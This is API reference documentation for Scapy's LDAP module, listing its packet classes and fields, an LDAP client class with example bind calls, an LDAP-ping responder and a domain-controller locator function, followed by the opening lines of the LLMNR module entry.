class scapy.layers.ldap.AttributeValueAssertion(_pkt, /, *, attributeType=<ASN1_STRING['organizationName']>, attributeValue=<ASN1_STRING['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L93-L98]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_STRING object>, <scapy.asn1fields.ASN1F_STRING object>)>

	




	
aliastypes

	




	
fields_desc

	
AttributeValueAssertion fields






	attributeType

	ASN1F_STRING

	<ASN1_STRING['organizationName']>



	attributeValue

	ASN1F_STRING

	<ASN1_STRING['']>















	
class scapy.layers.ldap.BERcodec_LDAP_Authentication_krbv42DSA[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L234-L235]

	Bases: BERcodec_STRING


	
tag = <ASN1Tag krbv42DSA[130]>

	








	
class scapy.layers.ldap.BERcodec_LDAP_Authentication_krbv42LDAP[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L221-L222]

	Bases: BERcodec_STRING


	
tag = <ASN1Tag krbv42LDAP[129]>

	








	
class scapy.layers.ldap.BERcodec_LDAP_Authentication_sicilyNegotiate[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L260-L261]

	Bases: BERcodec_STRING


	
tag = <ASN1Tag sicilyNegotiate[138]>

	








	
class scapy.layers.ldap.BERcodec_LDAP_Authentication_sicilyPackageDiscovery[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L247-L248]

	Bases: BERcodec_STRING


	
tag = <ASN1Tag sicilyPackageDiscovery[137]>

	








	
class scapy.layers.ldap.BERcodec_LDAP_Authentication_sicilyResponse[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L273-L274]

	Bases: BERcodec_STRING


	
tag = <ASN1Tag sicilyResponse[139]>

	








	
class scapy.layers.ldap.BERcodec_LDAP_Authentication_simple[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L208-L209]

	Bases: BERcodec_STRING


	
tag = <ASN1Tag simple[128]>

	








	
class scapy.layers.ldap.CLDAP(_pkt, /, *, messageID=0x0 <ASN1_INTEGER[0]>, user=<ASN1_STRING['']>, protocolOp=<LDAP_SearchRequest  filter=<LDAP_Filter  filter=<LDAP_FilterPresent  |> |> |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L685-L696]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_CHOICE object>)>

	




	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L695-L696]

	




	
fields_desc

	
CLDAP fields






	messageID

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>



	user

	ASN1F_STRING

	<ASN1_STRING['']>



	protocolOp

	ASN1F_CHOICE

	<LDAP_SearchRequest  filter=<LDAP_Filter  filter=<LDAP_FilterPresent  |> |> |>











	
payload_guess

	Possible sublayers:
CLDAP










	
class scapy.layers.ldap.LDAP(_pkt, /, *, messageID=0x0 <ASN1_INTEGER[0]>, protocolOp=<LDAP_SearchRequest  filter=<LDAP_Filter  filter=<LDAP_FilterPresent  |> |> |>, Controls=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L639-L671]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_CHOICE object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L660-L661]

	




	
fields_desc

	
LDAP fields






	messageID

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>



	protocolOp

	ASN1F_CHOICE

	<LDAP_SearchRequest  filter=<LDAP_Filter  filter=<LDAP_FilterPresent  |> |> |>



	Controls

	ASN1F_SEQUENCE_OF

	None











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L663-L671]

	




	
payload_guess

	Possible sublayers:
LDAP










	
class scapy.layers.ldap.LDAPReferral(_pkt, /, *, uri=<ASN1_STRING['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L101-L103]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_STRING object>

	




	
aliastypes

	




	
fields_desc

	
LDAPReferral fields






	uri

	ASN1F_STRING

	<ASN1_STRING['']>















	
class scapy.layers.ldap.LDAP_AbandonRequest(_pkt, /, *, messageID=0x0 <ASN1_INTEGER[0]>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L614-L619]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_INTEGER object>,)>

	




	
aliastypes

	




	
fields_desc

	
LDAP_AbandonRequest fields






	messageID

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>















	
class scapy.layers.ldap.LDAP_Authentication_SaslCredentials(_pkt, /, *, mechanism=<ASN1_STRING['']>, credentials=<ASN1_STRING['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L297-L305]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_STRING object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
LDAP_Authentication_SaslCredentials fields






	mechanism

	ASN1F_STRING

	<ASN1_STRING['']>



	credentials

	_SaslCredentialsField

	<ASN1_STRING['']>















	
class scapy.layers.ldap.LDAP_Authentication_krbv42DSA(val: _K)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L230-L231]

	Bases: ASN1_STRING


	
tag = <ASN1Tag krbv42DSA[130]>

	








	
class scapy.layers.ldap.LDAP_Authentication_krbv42LDAP(val: _K)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L217-L218]

	Bases: ASN1_STRING


	
tag = <ASN1Tag krbv42LDAP[129]>

	








	
class scapy.layers.ldap.LDAP_Authentication_sicilyNegotiate(val: _K)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L256-L257]

	Bases: ASN1_STRING


	
tag = <ASN1Tag sicilyNegotiate[138]>

	








	
class scapy.layers.ldap.LDAP_Authentication_sicilyPackageDiscovery(val: _K)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L243-L244]

	Bases: ASN1_STRING


	
tag = <ASN1Tag sicilyPackageDiscovery[137]>

	








	
class scapy.layers.ldap.LDAP_Authentication_sicilyResponse(val: _K)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L269-L270]

	Bases: ASN1_STRING


	
tag = <ASN1Tag sicilyResponse[139]>

	








	
class scapy.layers.ldap.LDAP_Authentication_simple(val: _K)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L204-L205]

	Bases: ASN1_STRING


	
tag = <ASN1Tag simple[128]>

	








	
class scapy.layers.ldap.LDAP_BIND_MECHS(value, names=None, *values, module=None, qualname=None, type=None, start=1, boundary=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L992-L1000]

	Bases: Enum


	
NONE = 'NONE'

	




	
SASL_DIGEST_MD5 = 'DIGEST-MD5'

	




	
SASL_EXTERNAL = 'EXTERNAL'

	




	
SASL_GSSAPI = 'GSSAPI'

	




	
SASL_GSS_SPNEGO = 'GSS-SPNEGO'

	




	
SICILY = 'SICILY'

	




	
SIMPLE = 'SIMPLE'

	








	
class scapy.layers.ldap.LDAP_BindRequest(_pkt, /, *, version=0x3 <ASN1_INTEGER[3]>, bind_name=<ASN1_STRING['']>, authentication=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L308-L322]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_STRING object>, <scapy.asn1fields.ASN1F_CHOICE object>)>

	




	
aliastypes

	




	
fields_desc

	
LDAP_BindRequest fields






	version

	ASN1F_INTEGER

	0x3 <ASN1_INTEGER[3]>



	bind_name

	ASN1F_STRING

	<ASN1_STRING['']>



	authentication

	ASN1F_CHOICE

	None















	
class scapy.layers.ldap.LDAP_BindResponse(_pkt, /, *, resultCode=0x0 <ASN1_ENUMERATED[0]>, matchedDN=<ASN1_STRING['']>, diagnosticMessage=<ASN1_STRING['']>, referral=[], serverSaslCredsWrap=<ASN1_STRING['']>, serverSaslCreds=<ASN1_STRING['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L325-L374]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_ENUMERATED object>, <scapy.asn1fields.ASN1F_STRING object>, <scapy.asn1fields.ASN1F_STRING object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
LDAP_BindResponse fields






	resultCode

	ASN1F_ENUMERATED

	0x0 <ASN1_ENUMERATED[0]>



	matchedDN

	ASN1F_STRING

	<ASN1_STRING['']>



	diagnosticMessage

	ASN1F_STRING

	<ASN1_STRING['']>



	referral

	ASN1F_SEQUENCE_OF

	[]



	serverSaslCredsWrap

	ASN1F_STRING

	<ASN1_STRING['']>



	serverSaslCreds

	ASN1F_STRING

	<ASN1_STRING['']>











	
property serverCreds

	serverCreds field in SicilyBindResponse






	
property serverSaslCredsData

	Get serverSaslCreds or serverSaslCredsWrap depending on what’s available










	
class scapy.layers.ldap.LDAP_Client(mech, verb=True, ssl=False, sslcontext=None, ssp=None, sign=False, encrypt=False)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L1024-L1351]

	Bases: object

A basic LDAP client


	Parameters:

	
	mech – one of LDAP_BIND_MECHS


	ssl – whether to use LDAPS or not


	ssp – the SSP object to use for binding


	sign – request signing when binding


	encrypt – request encryption when binding








Example 1 - SICILY - NTLM:

ssp = NTLMSSP(UPN="Administrator", PASSWORD="Password1!")
client = LDAP_Client(
    LDAP_BIND_MECHS.SICILY,
    ssp=ssp,
)
client.connect("192.168.0.100")
client.bind()





Example 2 - SASL_GSSAPI - Kerberos:

ssp = KerberosSSP(UPN="Administrator@domain.local", PASSWORD="Password1!",
                  SPN="ldap/dc1.domain.local")
client = LDAP_Client(
    LDAP_BIND_MECHS.SASL_GSSAPI,
    ssp=ssp,
)
client.connect("192.168.0.100")
client.bind()





Example 3 - SASL_GSS_SPNEGO - NTLM / Kerberos:

ssp = SPNEGOSSP([
    NTLMSSP(UPN="Administrator", PASSWORD="Password1!"),
    KerberosSSP(UPN="Administrator@domain.local", PASSWORD="Password1!",
                  SPN="ldap/dc1.domain.local"),
])
client = LDAP_Client(
    LDAP_BIND_MECHS.SASL_GSS_SPNEGO,
    ssp=ssp,
)
client.connect("192.168.0.100")
client.bind()





Example 4 - Simple bind:

client = LDAP_Client(LDAP_BIND_MECHS.SIMPLE)
client.connect("192.168.0.100")
client.bind(simple_username="Administrator",
            simple_password="Password1!")






	
bind(simple_username=None, simple_password=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L1183-L1346]

	Send Bind request.
This acts differently based on the :mech: provided during initialization.






	
close()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L1348-L1351]

	




	
connect(ip, port=None, timeout=5)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L1120-L1155]

	Initiate a connection






	
sr1(protocolOp, controls=None, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L1157-L1181]

	








	
class scapy.layers.ldap.LDAP_Control(_pkt, /, *, controlType=<ASN1_STRING['']>, criticality=False <ASN1_BOOLEAN[False]>, controlValue=<ASN1_STRING['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L625-L633]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_STRING object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
LDAP_Control fields






	controlType

	ASN1F_STRING

	<ASN1_STRING['']>



	criticality

	ASN1F_BOOLEAN

	False <ASN1_BOOLEAN[False]>



	controlValue

	ASN1F_STRING

	<ASN1_STRING['']>















	
class scapy.layers.ldap.LDAP_Filter(_pkt, /, *, filter=<LDAP_FilterPresent  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L496-L546]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_CHOICE object>

	




	
aliastypes

	




	
fields_desc

	
LDAP_Filter fields






	filter

	ASN1F_CHOICE

	<LDAP_FilterPresent  |>















	
class scapy.layers.ldap.LDAP_FilterAnd(_pkt, /, *, and_=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L442-L444]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SET_OF and_>

	




	
aliastypes

	




	
fields_desc

	
LDAP_FilterAnd fields






	and_

	ASN1F_SET_OF

	[]















	
class scapy.layers.ldap.LDAP_FilterApproxMatch(_pkt, /, *, attributeType=<ASN1_STRING['organizationName']>, attributeValue=<ASN1_STRING['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L477-L479]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_STRING object>, <scapy.asn1fields.ASN1F_STRING object>)>

	




	
aliastypes

	




	
fields_desc

	
LDAP_FilterApproxMatch fields






	attributeType

	ASN1F_STRING

	<ASN1_STRING['organizationName']>



	attributeValue

	ASN1F_STRING

	<ASN1_STRING['']>















	
class scapy.layers.ldap.LDAP_FilterEqual(_pkt, /, *, attributeType=<ASN1_STRING['organizationName']>, attributeValue=<ASN1_STRING['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L457-L459]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_STRING object>, <scapy.asn1fields.ASN1F_STRING object>)>

	




	
aliastypes

	




	
fields_desc

	
LDAP_FilterEqual fields






	attributeType

	ASN1F_STRING

	<ASN1_STRING['organizationName']>



	attributeValue

	ASN1F_STRING

	<ASN1_STRING['']>















	
class scapy.layers.ldap.LDAP_FilterGreaterOrEqual(_pkt, /, *, attributeType=<ASN1_STRING['organizationName']>, attributeValue=<ASN1_STRING['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L462-L464]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_STRING object>, <scapy.asn1fields.ASN1F_STRING object>)>

	




	
aliastypes

	




	
fields_desc

	
LDAP_FilterGreaterOrEqual fields






	attributeType

	ASN1F_STRING

	<ASN1_STRING['organizationName']>



	attributeValue

	ASN1F_STRING

	<ASN1_STRING['']>















	
class scapy.layers.ldap.LDAP_FilterLessOrEqual(_pkt, /, *, attributeType=<ASN1_STRING['organizationName']>, attributeValue=<ASN1_STRING['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L472-L474]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_STRING object>, <scapy.asn1fields.ASN1F_STRING object>)>

	




	
aliastypes

	




	
fields_desc

	
LDAP_FilterLessOrEqual fields






	attributeType

	ASN1F_STRING

	<ASN1_STRING['organizationName']>



	attributeValue

	ASN1F_STRING

	<ASN1_STRING['']>















	
class scapy.layers.ldap.LDAP_FilterLesserOrEqual(_pkt, /, *, attributeType=<ASN1_STRING['organizationName']>, attributeValue=<ASN1_STRING['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L467-L469]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_STRING object>, <scapy.asn1fields.ASN1F_STRING object>)>

	




	
aliastypes

	




	
fields_desc

	
LDAP_FilterLesserOrEqual fields






	attributeType

	ASN1F_STRING

	<ASN1_STRING['organizationName']>



	attributeValue

	ASN1F_STRING

	<ASN1_STRING['']>















	
class scapy.layers.ldap.LDAP_FilterOr(_pkt, /, *, or_=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L447-L449]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SET_OF or_>

	




	
aliastypes

	




	
fields_desc

	
LDAP_FilterOr fields






	or_

	ASN1F_SET_OF

	[]















	
class scapy.layers.ldap.LDAP_FilterPresent(_pkt, /, *, present=<ASN1_STRING['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L452-L454]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_STRING object>

	




	
aliastypes

	




	
fields_desc

	
LDAP_FilterPresent fields






	present

	ASN1F_STRING

	<ASN1_STRING['']>















	
class scapy.layers.ldap.LDAP_SASL_GSSAPI_SsfCap(_pkt, /, *, supported_security_layers=<Flag 0 ()>, max_output_token_size=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L1003-L1021]

	Bases: Packet

RFC2222 sect 7.2.1 and 7.2.2 negotiate token


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|SUPPORTED SECUR|             MAX OUTPUT TOKEN SIZE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                   Fig. LDAP_SASL_GSSAPI_SsfCap                   


LDAP_SASL_GSSAPI_SsfCap fields






	supported_security_layers

	FlagsField

	<Flag 0 ()>



	max_output_token_size

	ThreeBytesField

	0















	
class scapy.layers.ldap.LDAP_SearchRequest(_pkt, /, *, baseObject=<ASN1_STRING['']>, scope=0x0 <ASN1_ENUMERATED[0]>, derefAliases=0x0 <ASN1_ENUMERATED[0]>, sizeLimit=0x0 <ASN1_INTEGER[0]>, timeLimit=0x0 <ASN1_INTEGER[0]>, attrsOnly=False <ASN1_BOOLEAN[False]>, filter=<LDAP_Filter  filter=<LDAP_FilterPresent  |> |>, attributes=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L554-L577]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_STRING object>, <scapy.asn1fields.ASN1F_ENUMERATED object>, <scapy.asn1fields.ASN1F_ENUMERATED object>, <scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_BOOLEAN object>, <scapy.asn1fields.ASN1F_PACKET object>, <ASN1F_SEQUENCE_OF attributes>)>

	




	
aliastypes

	




	
fields_desc

	
LDAP_SearchRequest fields






	baseObject

	ASN1F_STRING

	<ASN1_STRING['']>



	scope

	ASN1F_ENUMERATED

	0x0 <ASN1_ENUMERATED[0]>



	derefAliases

	ASN1F_ENUMERATED

	0x0 <ASN1_ENUMERATED[0]>



	sizeLimit

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>



	timeLimit

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>



	attrsOnly

	ASN1F_BOOLEAN

	False <ASN1_BOOLEAN[False]>



	filter

	ASN1F_PACKET

	<LDAP_Filter  filter=<LDAP_FilterPresent  |> |>



	attributes

	ASN1F_SEQUENCE_OF

	[]















	
class scapy.layers.ldap.LDAP_SearchRequestAttribute(_pkt, /, *, type=<ASN1_STRING['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L549-L551]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_STRING object>

	




	
aliastypes

	




	
fields_desc

	
LDAP_SearchRequestAttribute fields






	type

	ASN1F_STRING

	<ASN1_STRING['']>















	
class scapy.layers.ldap.LDAP_SearchResponseEntry(_pkt, /, *, objectName=<ASN1_STRING['']>, attributes=<LDAP_SearchResponseEntryAttribute  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L593-L603]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_STRING object>, <ASN1F_SEQUENCE_OF attributes>)>

	




	
aliastypes

	




	
fields_desc

	
LDAP_SearchResponseEntry fields






	objectName

	ASN1F_STRING

	<ASN1_STRING['']>



	attributes

	ASN1F_SEQUENCE_OF

	<LDAP_SearchResponseEntryAttribute  |>















	
class scapy.layers.ldap.LDAP_SearchResponseEntryAttribute(_pkt, /, *, type=<ASN1_STRING['']>, values=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L585-L590]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_STRING object>, <ASN1F_SET_OF values>)>

	




	
aliastypes

	




	
fields_desc

	
LDAP_SearchResponseEntryAttribute fields






	type

	ASN1F_STRING

	<ASN1_STRING['']>



	values

	ASN1F_SET_OF

	[]















	
class scapy.layers.ldap.LDAP_SearchResponseEntryAttributeValue(_pkt, /, *, value=<ASN1_STRING['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L580-L582]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_STRING object>

	




	
aliastypes

	




	
fields_desc

	
LDAP_SearchResponseEntryAttributeValue fields






	value

	ASN1F_STRING

	<ASN1_STRING['']>















	
class scapy.layers.ldap.LDAP_SearchResponseResultDone(_pkt, /, *, resultCode=0x0 <ASN1_ENUMERATED[0]>, matchedDN=<ASN1_STRING['']>, diagnosticMessage=<ASN1_STRING['']>, referral=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L606-L611]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_ENUMERATED object>, <scapy.asn1fields.ASN1F_STRING object>, <scapy.asn1fields.ASN1F_STRING object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
LDAP_SearchResponseResultDone fields






	resultCode

	ASN1F_ENUMERATED

	0x0 <ASN1_ENUMERATED[0]>



	matchedDN

	ASN1F_STRING

	<ASN1_STRING['']>



	diagnosticMessage

	ASN1F_STRING

	<ASN1_STRING['']>



	referral

	ASN1F_SEQUENCE_OF

	[]















	
class scapy.layers.ldap.LDAP_SubstringFilter(_pkt, /, *, type=<ASN1_STRING['']>, filters=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L431-L436]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_STRING object>, <ASN1F_SEQUENCE_OF filters>)>

	




	
aliastypes

	




	
fields_desc

	
LDAP_SubstringFilter fields






	type

	ASN1F_STRING

	<ASN1_STRING['']>



	filters

	ASN1F_SEQUENCE_OF

	[]















	
class scapy.layers.ldap.LDAP_SubstringFilterAny(_pkt, /, *, any=<ASN1_STRING['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L398-L400]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_STRING object>

	




	
aliastypes

	




	
fields_desc

	
LDAP_SubstringFilterAny fields






	any

	ASN1F_STRING

	<ASN1_STRING['']>















	
class scapy.layers.ldap.LDAP_SubstringFilterFinal(_pkt, /, *, final=<ASN1_STRING['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L403-L405]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_STRING object>

	




	
aliastypes

	




	
fields_desc

	
LDAP_SubstringFilterFinal fields






	final

	ASN1F_STRING

	<ASN1_STRING['']>















	
class scapy.layers.ldap.LDAP_SubstringFilterInitial(_pkt, /, *, initial=<ASN1_STRING['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L393-L395]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_STRING object>

	




	
aliastypes

	




	
fields_desc

	
LDAP_SubstringFilterInitial fields






	initial

	ASN1F_STRING

	<ASN1_STRING['']>















	
class scapy.layers.ldap.LDAP_SubstringFilterStr(_pkt, /, *, str=<ASN1_STRING['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L408-L428]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_CHOICE object>

	




	
aliastypes

	




	
fields_desc

	
LDAP_SubstringFilterStr fields






	str

	ASN1F_CHOICE

	<ASN1_STRING['']>















	
class scapy.layers.ldap.LDAP_UnbindRequest(_pkt, /, *, info=<ASN1_NULL[0]>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L381-L386]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_NULL object>,)>

	




	
aliastypes

	




	
fields_desc

	
LDAP_UnbindRequest fields






	info

	ASN1F_NULL

	<ASN1_NULL[0]>















	
class scapy.layers.ldap.LdapPing_am(self, NetbiosDomainName='DOMAIN', DomainGuid=UUID('192bc4b3-0085-4521-83fe-062913ef59f2'), DcSiteName='Default-First-Site-Name', NetbiosComputerName='SRV1', DnsForestName=None, DnsHostName=None, src_ip=None, src_ip6=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L709-L814]

	Bases: AnsweringMachine


	
filter: str | None = 'udp port 389'

	




	
function_name = 'ldappingd'

	




	
is_request(req)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L735-L751]

	




	
make_reply(req)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L753-L814]

	




	
optam0: Dict[str, Any]

	




	
optam1: Dict[str, Any]

	




	
optam2: Dict[str, Any]

	




	
optsend: Dict[str, Any]

	




	
optsniff: Dict[str, Any]

	




	
parse_options(NetbiosDomainName='DOMAIN', DomainGuid=UUID('192bc4b3-0085-4521-83fe-062913ef59f2'), DcSiteName='Default-First-Site-Name', NetbiosComputerName='SRV1', DnsForestName=None, DnsHostName=None, src_ip=None, src_ip6=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L713-L733]

	








	
scapy.layers.ldap.dclocator(realm, qtype='A', mode='ldap', port=None, timeout=1, NtVersion=None, debug=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ldap.py#L821-L984]

	Perform a DC Locator as per [MS-ADTS] sect 6.3.6 or RFC4120.


	Parameters:

	
	realm – the kerberos realm to locate


	mode – Detect if a server is up and joinable thanks to one of:









	‘nocheck’: Do not check that servers are online.


	
	‘ldap’: Use the LDAP ping (CLDAP) per [MS-ADTS]. Default.
	This will however not work with MIT Kerberos servers.







	‘connect’: connect to specified port to test the connection.





	Parameters:

	
	mode – in connect mode, the port to connect to. (e.g. 88)


	debug – print debug logs








This is cached in conf.netcache.dclocator.








            

          

      

      

    

  

    
      
          
            
  
scapy.layers.llmnr

LLMNR (Link Local Multicast Node Resolution).

[RFC 4795]

LLMNR is based on the DNS packet format (RFC1035 Section 4)
RFC also envisions LLMNR over TCP. Like vista, we don’t support it – arno


	
